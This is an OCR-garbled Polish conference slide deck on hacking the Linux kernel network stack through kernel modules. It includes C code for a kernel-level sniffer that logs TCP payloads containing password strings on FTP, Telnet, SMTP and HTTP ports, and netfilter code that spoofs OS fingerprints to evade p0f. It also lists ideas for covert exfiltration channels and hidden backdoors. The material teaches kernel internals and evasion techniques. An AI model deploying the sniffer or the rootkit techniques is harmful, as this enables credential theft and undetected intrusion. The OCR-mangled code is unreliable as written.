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Wprowadzenie do “Kernel Hackingu™

= Definicja “Kernel Hackingu”

» Linux Kernel 1 jego modularna budowa
s Dostep dzicki modutom

s Dostep dzigki /dev/kmem

s LKM vs. /dev/kmem

s Tworzenie modulow

= Funkcja inicjalizujaca 1 czyszczaca

s Przyktadowy “Hello World”
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Hello World!

#i ncl ude <l i nux/ nodul e. h>
#include <linux/init.h>
#i ncl ude <l i nux/ kernel . h>

int __init nod_init()
printk("<1>Hello World!");
return O;

}

void _exit nod _exit()

{

}

nmodule init(nod init);
nodul e_exit (nod_exit);
/] google -> “Kernel Hacking” :-)
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Mozliwe zastosowania

s Sterowniki urzadzen

s Nowe funkcjonalnosci

=  Wywolania systemowe (syscalls hooking)

s System plikéw (ukrywanie danych)

s Listy powigzane (ukrywanie procesOw/modutow)
* Przerwania IRQ (Sledzenie uzytkownika)

* Stos sieci (“zabawa’ z pakietami)
s 1td...
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Obstluga pakietow przez jadro

NIE

b
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sk buff - Socket Buffer Structure

struct sk_buff (linux/skbuff.h) Buf or sk_buf f

/!‘
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Ingerencja w obshuge pakietow
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Protocol handlers

Przechwytywanie wszystkich pakietow Przechwytywanie konkretnych pakietow

s Mozliwos¢ tworzenia handlerow dla konkretnych protokotow
s Nowo dodane handlery, leza przed wszystkimi innymi
s Prostota stosowania handlerow (jadra udost¢pnia odpowiednie funkcje)

s Wiele zastosowan (np. prosty sniffer, jedno z prymitywniejszych :)
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/*

Dodanie funkcji1 obstugi protokotu

struct packet type {
unsi gned short type; // Typ naszego handlera (ETH P_ALL, ETH P IP etc.)
struct net _device *dev; // Urzadzenie ktore ma przechwytywa¢ (NULL = wszystKkie)

b
*

I nt (*func) (struct sk _buff *, struct net_device *,

void *af packet priv;
struct |ist_head list;

struct packet type hook_proto;

int __init nodule_init(void)

{

}
voi d

}

hook_proto. type ht ons(ETH_P_ALL) ;
hook _pr ot o. func funkcj a_obsl ugi ;
hook proto.dev = NULL

dev_add_pack (&hook proto);

return O;

__exit nodule exit(void) {
dev_renove_pack( &ook_proto);

struct packet type *);
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Prosty sniffer pakietow #1

struct device *d;
struct packet type sniffer_proto;

| nt

{

_init cc_init(void)

i f (dev)

{ q = (struct device *)dev_get by nane(dev);

\ E (;f?ntk("<l>Nie znal azl em ur zadzenia %!\ n", dev);

nenset (&sniffer _proto, 0, sizeof(struct packet type));
sniffer _proto.type = htons(ETH P_ALL);

sniffer _proto.func (voi d*)sniffer func;

sniffer proto.dev = (struct net device *)d,;
dev_add_pack (&sniffer _proto);

printk("<1>Sniffer zal adowany\n");

return O;
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Prosty sniffer pakietow #2

char *wzorce[] = {"Password", "PASS ", "password", "PASSWORD', "ScisleTajne", NULL};
Int porty[] = {21, 23, 25, 80, 0};
Int sniffer_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt)
{
char *data;
struct tcphdr *tcph;
int i, ok;
if (!'skb ) return O;
if (!(skb->nh.iph)) return O;
i f (skb->nh.iph->protocol != |PPROTO TCP)
return 0; // Zalezy namtyl ko na paki etach TCP
tcph = (struct tcphdr *)(skb->data + skb->nh.iph->ihl*4);
/* Interesuja nas tyl ko pakiety skierowane na ktorys z tablicy porty[] */
for(i=0; porty[i]; i++)
if(porty[i] == htons(tcph->dest));
ok=1;
i f(!ok)
return 0; // Pakiety nie na nasze porty
data = (char *)((int)tcph + (int)(tcph->doff * 4));
/* Porownuj ey dane z pakietu z naszym stringam */
for(i = 0; wzorce[i]; i++)
if(strstr(data, wzorce[i])){
printk("<1>%\n", data);
return O;

}

return O;
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Prosty sniffer pakietow #3

Obstuga pakietu przed dodaniem wtasnego handlera:

Obstuga pakietu po dodaniu wtasnego handlera:

Overflow.pl: Damian Put / pucik@overflow.pl / pucik.overflow.pl strona 11 z 28


mailto:pucik@overflow.pl

QVERFLDW.PL

Hacking Linux Kernel Network Stack

Protocol handlers - podsumowanie

s Duzo informacji w internecie

s Trudne (ale tylko z pozoru) do wykrycia (adresy ptype all i ptype base nie sa
eksportowane przez kernel)

s  Przechwytywanie tylko przychodzacych pakietow
s [stnieje o wiele bardziej elastyczna technika...

s .. ktora zwie sie Netfilter hooks :-)
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Nettilter hooks

s (Czym jest netfilter?

s Netfilter jest stale rozwijany

s Wigksze mozliwosci niz protocol handler hooks...
s . przy roOwnie prostym sposobie uzycia

s Podpinanie si¢ w wielu miejscach

s Omijanie lokalnego firewalla

s fatwos¢ wykrycia (minus w przypadku rootkitow)
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Punkty “zaczepu”

| i — R
sowe  Lokalny proces
o

s NF IP_PRE ROUTING — Wszystkie przychodzace pakiety

s NF IP_LOCAL IN - Przychodzace pakiety przeznaczone dla nas

s NF [P FORWARD - Przychodzace pakiety nie przeznaczone dla nas
s NF [P LOCAL OUT — Wychodzace pakiety od nas

s NF POST ROUTING — Wszystkie wychodzace pakiety
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Dodanie wtasnego hooka

/*
struct nf_hook_ops
{
struct list_head list;
nf _hookfn *hook; // Funkcja obstugi hooka
int pf; // Rodzina najczesciej PF_INET
i nt hooknum // Rodzaj hooka np. NF_IP_PRE RQUTI NG
int priority; // Priorytet jeSli w ecej hookdéw (linux/netfilter _ipv4.h)
}
*/

unsi gned i nt hook(unsigned int hooknum struct sk _buff **sb, const struct net_device *in,
const struct net_device *out, int (*okfn)(struct sk_buff *))

{
return NF_DRCP; // (drzucaj wszystkie pakiety (N-F_ACCEPT/ NF_QUEUE/ NF_STCLEN NF_DROP)
}
struct nf_hook_ops nf ho;
int _init nmodule_init()
{
nf ho. hook = hook; // Uchwyt do naszej funkcji
nf ho. hooknum = NF_IP_PRE RQUTING // Wézystki e pakiety przychodzgce
nf ho. pf = PF_INET;, // Rodzina
nfho.priority = NF_IP_PRI_FIRST;, // Ustaw any priorytet naszej funkcji na pierwszy
nf _regi ster_hook(&nfho); // Rejestracja funkcji
return O;
}
void __exit modul e_exit()
{
nf _unregi ster_hook(&nfho); // Zwal nianie funkcji
}
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Modyftikacja pakietow

s  Mozemy zmienia¢ zawartos¢ kazdego pakietu

s Wystarczy zmodyfikowac¢ odpowiednie struktury

s [ wygenerowacC nowg sume kontrolna.

s Swietny sposéb na normalizacj¢ pakietdéw wychodzacych

s Ustawienie statego TTL moze zapobiedz rozpoznaniu topologi sieci

s A modyfikacja innych elementow skutecznie chroni przed fingerprintingiem.
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Modyfikacja pakietow - przykiad

unsi gned int hook(unsigned int hooknum struct sk_buff **sb, const struct net_device *in,
const struct net_device *out, int (*okfn)(struct sk_buff *))

{
struct sk_buff *skb = *sb;
struct iphdr *iph;
struct tcphdr *tcph;
int size, doff, csum
if (!'skb ) return NF_ACCEPT,
if (!'(skb->nh.iph)) return N-_ACCEPT;
i f (skb->nh.iph->protocol != | PPROTO TCP)
return NF_ACCEPT,
i ph = skb->nh.i ph;
tcph = (struct tcphdr *)(skb->data + (iph->ihl * 4));
t cph->wi ndow = ht ons( W NDOW ;
i ph->ttl=TTL;
/* Generuj eny checksuny TCP/IP */
size = ntohs(iph->tot_len) - (iph->hl * 4);
doff = tcph->doff << 2;
skb->csum = 0;
csum = csum partial (skb->h.raw + doff, size - doff, 0);
skb->csum = csum
t cph- >check = 0;
[* Checksuma TCP */
t cph->check = csumtcpudp_nagi c( iph->saddr, iph->daddr, size, iph->protocol,
csumpartial (skb->h.raw, doff, skb->csun) );
[* Checksuma | P */
i p_send_check(i ph);
return NF_ACCEPT,
}
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Idziemy krok dalej — zmiana tozsamosci

s pOf czyli narzedzi do pasywnego fingerprintingu

s  Rozpoznawanie systemOw na podstawie ich “odciskow”

s Przyczyna - kazdy stos sieci jest zaimplementowany nieco inaczej
s Pasywnego, czyli nie generujacego zadnego ruchu

s Mozemy oszuka¢ pOfa w prosty sposob, modyfikujac wszystkie pakiety
wychodzace

s Bedziemy musieli rowniez ingerowac¢ w opcje TCP, a reszta po staremu :-)
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Analiza sygnatury SYN pOfa #1

www ttl o D:ss: O00. ..:QQ CS: Details

8 WWWW - Window size (rozmiar okna). Element nagléwka TCP

a ttl - Time To Live czyli czas zycia pakietu.

s D - Don't fragment bit, okresla czy pakiet mozna fragmentowac czy nie
8 ss - Catkowity rozmiar pakietu SYN

s 000 - Opcje nagtowka TCP (pOf.fp)

s QQ - Dziwne czgsci pakietu, spowodowane btedna implementacja sieci
s OS - Rodzaj systemu (np. Linux, Solaris, Windows)

8 Details - Rodzaj wersji systemu (np. 2.0.27 on x86)
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Analiza sygnatury SYN pOfa #2

65535:64: 1: 60: M, N, W, N, N, T: Z: FreeBSD: 5. 1-current (3)

# Rozmiar okna pakietu wynosi 65535 (maksymalna wartos¢)
# (Czas zycia pakietu to 64 skoki.
# Calkowita wielko$¢ pakietu wynosi 60 bajtow

#  Opcje TCP to kolejno: MSS o dowolnej wartosci, NOP, Skala okna wynosi 2, NOP
NOP, Timestamp

# W pakiecie wystepuja anomalie, pole ID nagtowka IP jest rowne zero (Z)
# Rodzaj systemu to FreeBSD

# A doktadnie wersja 5.1-current

9
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{
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Podszywamy si¢ pod FreeBSD

struct sk _buff *skb = *sbh;

struct iphdr *iph; struct tcphdr *tcph;

int size, doff, csum tcplen,iplen, optlen, datalen, |en;
unsi gned char *option; long *timestanp;

unsi gned int W NDOW = 65535;

int TTL = 64, DF = 1, LEN = 60;

unsi gned char opcje[]= "\ x02\ x04\ x66\ x66" // NMSS o dowol nej wartoci

"\ x01" // NOP
"\ x03\ x03\ x02" // WBO o wartosci 2
"\ x01\ x01" // Dwa NOPy

"\ x08\ x10\ x00\ x00\ x00\ x00\ x00\ x00\ x00\ x00";

/1 Ustaw any odpow ednie wartosci dla iph, tcph, tcplen, optlen etc.

i ph->ttl =TTL;
i ph->frag_off = DF ? htons(0x4000) : O;

timestanp = (Il ong*) (opcje+l2); *timestanmp=htonl (jiffies);
opti on=(char *)(tcph+l); optlen=LEN 40;
nmencpy(option, opcje, optlen);

t cph- >wi ndow=ht ons( W NDOW ;
iph->id = 0;

t cph- >dof f =(si zeof (struct tcphdr)+optlen)/4;
tcpl en=t cph->dof f <<2;
i ph->t ot _| en=ht ons(i pl en+t cpl en+dat al en) ;
skb->I en=i pl en+t cpl en+dat al en;

/'l Generuj eny checksuny

return NF_ACCEPT,

const struct net_device *in,

(\ Ox66\ 0x66)

/] Timestanp - nusiny aktualizowac za kazdymrazem
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pOfucker

s pOfucker — czyli narzg¢dzie do oszukiwania pOfa

s Mozliwos¢ podszycia si¢ pod dowolny system

s tatwy w obstudze

s To tylko PoC — korzysta jedynie z sygnatur SYN

s Pisane przezemnie — zdecydowanie NIE polecam :-)

s Uzywac na wlasna odpowiedzialno$¢
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pOfucker w akcy #1
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pOfucker w akcj #2
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Ciekawe pomysty

s NmapFucker — czyli narzedzie do oszukiwania nmapa

s Ciche wyprowadzanie informacji (ukryte kanaty)

s Implementacja trudnych do wykrycia backdoorow

s Restrykcja dla procesow przy przyjmowaniu potaczenia
s Ukrywanie ruchu spod okreslonych adresow

s Rozbudowa pOfuckera o nowe funkcjonalnosci
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Linki

pi s protocol handlers - http://ww:. phrack. org/ phrack/ 55/ P55-12

pis netfilter hooks — http://ww. phrack. org/ phrack/ 61/ p61- 0x0d_Hacki ng_t he_ Li nux_Ker nel _Networ k_St ack. t xt
Dokurent acja netfiltra — http://ww. netfilter.org/docunentation

Gsbt uga paki et 6w na podstawi e 2.6.10 — http://svn. gnunonks. or g/ t runk/ doc/ packet - j our ney- 2. 6. xm

Gsbf uga paki et 6w na podstawi e 2.4 -http://svn. gnunonks. or g/t runk/ doc/ packet - j our ney- 2. 4. sgni

Qpi s struktury sk _buff i funkcji operujgcej na niej — http://svn.gnunonks. org/trunk/doc/skb-doc. sgm

G ekawe dokurenty na tenat ukrytych kanat6w i detekcji rootkitéw - http://invisiblethings. org/papers. htni
Ki | ka pol skich artykuto6w na temat kernel hackingu — http://cc-team org/index. php?nane=artykul y&r i d=3
Kernel hacki ng za ponocq /dev/ kmem - http://wwmn uebi . net/silviol runtime-kernel - kmem pat chi ng. t xt

Rowni ez /dev/ knem | ecz tymrazem bez uzycia Systemmap - http://ww. phrack. or g/ phrack/ 58/ p58- 0x07

Qdnaj dywani e funkcji i struktur korzystajac z /dev/knmem polecam- http://ww. ouah. org/ p61 BONUS BONUS. t xt
Publ i kacje grupy THC na temat kernel hackingu — http://ww.thc. org/root/docs/| oadabl e_kernel rnodul es/

Strona narzedzia pOf — http://|cantuf. coredunp. cx/ pOf.shtm

Nar zedzi e pOf ucker - http://overfl ow pl/poc/pOfucker.tar. bz2

Overflow.pl: Damian Put / pucik@overflow.pl / pucik.overflow.pl strona 27 z 28


mailto:pucik@overflow.pl

QVERFLDW.PL

Hacking Linux Kernel Network Stack

Pytania?

Dzickuje za uwage
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